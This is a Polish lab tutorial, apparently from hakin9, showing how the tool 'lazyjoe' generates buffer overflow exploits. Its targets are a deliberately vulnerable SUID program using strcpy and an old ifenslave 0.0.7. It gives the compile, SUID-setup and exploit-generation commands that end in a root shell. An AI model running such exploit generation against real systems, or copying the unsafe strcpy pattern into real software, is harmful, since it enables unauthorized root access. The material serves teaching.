lazyjoe tutorial
Tutorial do artykułu Automatyzacja wykorzystywania podatności w Linuksie
Niniejszy dokument jest tutorialem do artykułu Automatyzacja wykorzystywania podatności w Linuksie. Podczas opisanych ćwiczeń użyjemy opisywane w artykule narzędzie do automatycznego stworzenia eksploita do pewnego dziurawego programu.
Ćwiczenie wykonamy na komputerze zabootowanym z hakin9.live.
Prosty przykład
Przykład z życia
Kolejne próby
Prosty przykład
Na początek sprawdzimy, czy lazyjoe poradzi sobie z prostym, przykładowym programem podatnym na przepełnienie bufora.
[01]
Zapisz na dysku i obejrzyj listing vuln.c. Jest to prosty program podatny na przepełnienie bufora na stosie.
#include <string.h>
int main(int argc, char *argv[])
{
char a[256];
strcpy(a, argv[1]);
}
Jak widać, program kopiuje pierwszy argument do bufora o stałej długości bez sprawdzania, czy argument nie jest za długi. Uruchamiając go ze specjalnie przygotowanym argumentem możemy przepełnić bufor, nadpisać adres powrotu z funkcji i spowodować wykonanie dostarczonego przez nas kodu. Czy lazyjoe poradzi sobie z tym zadaniem?
[02]
Skompiluj vuln.c i ustaw mu SUID:
$ gcc vuln.c -o vuln
$ su
# chown root.root vuln
# chmod +s vuln
[03]
Upewnij się, że długi argument podany programowi vuln powoduje błąd segmentacji:
$ ./vuln `perl -e 'print("A"x300)'`
[04]
Zapisz na dysku i skompiluj program lazyjoe.c.
$ gcc lazyjoe.c -o lazyjoe
[05]
Uruchom lazyjoe nakazując mu przyjrzeć się dziurawemu programowi vuln.
$ ./lazyjoe -e ./vuln -o vuln_exploit
Użyte opcje oznaczają:
-e ./vuln - przyjrzyj się programowi ./vuln
-o vuln_exploit - wygenerowany eksploit zapisz do pliku vuln_exploit.c
[06]
Sukces.
Jak widzimy, lazyjoe poinformował nas, że:
Fast checking assumes buffer is vulnerable - pierwsza, szybka próba potwierdziła, że program jest podatny na przepełnienie bufora
Starting detailed test - rozpoczęła się właściwa, dokładna próba
Binary seems to be vulnerable at argument 1 - dokładna próba potwierdza, że program jest podatny na przepełnienie bufora przy podaniu odpowiednio długiego pierwszego argumentu
Magic distance found to be 260 - odległość od początku bufora do zapisanego adresu powrotu z funkcji wynosi 260 bajtów
Exploit code vuln_exploit1.c written successfully - kod wygenerowanego eksploita zapisano do pliku vuln_exploit1.c
[07]
Skompiluj i uruchom wygenerowanego eksploita:
$ gcc vuln_exploit1.c -o vuln_exploit
$ ./vuln_exploit
Sukces! Jak widać, dziurawy program vuln uruchomił powłokę /bin/sh (poznajemy to po znaku zachęty).
Sprawdź, czy dostałeś roota:
$ whoami
Sukces!
Przykład z życia
Teraz spróbujemy użyć lazyjoe w sytuacji bardziej zbliżonej do rzeczywistości.
Wersja 0.0.7 programu ifenslave podatna była na przepełnienie bufora. Sprawdźmy, czy lazyjoe uda się stworzyć działający eksploit...
[08]
Przejdź do katalogu /listings/ifenslave/ - znajduje się tam skompilowany program ifenslave. Należy on do roota, ma ustawiony bit SUID.
[09]
Uruchom lazyjoe nakazując mu przyjrzeć się dziurawemu programowi ifenslave.
$ lazyjoe -e ./ifenslave -o ifenslave_exploit
Sukces.
[10]
Skompiluj wygenerowany eksploit, spróbuj go uruchomić...
$ gcc ifenslave_exploit1.c -o ifenslave_exploit
$ ./ifenslave_exploit
Sukces!
Kolejne próby
W katalogu listings/vulnerable znajdziesz starsze wersje kilku popularnych narzędzi. Podobnie jak poprzednio sprawdź, które z nich są dziurawe, i wygeneruj eksploity.
Wyszukiwarka
Podobne podstrony:
indexindexindexindexindexindexindexindexindexwięcej podobnych podstron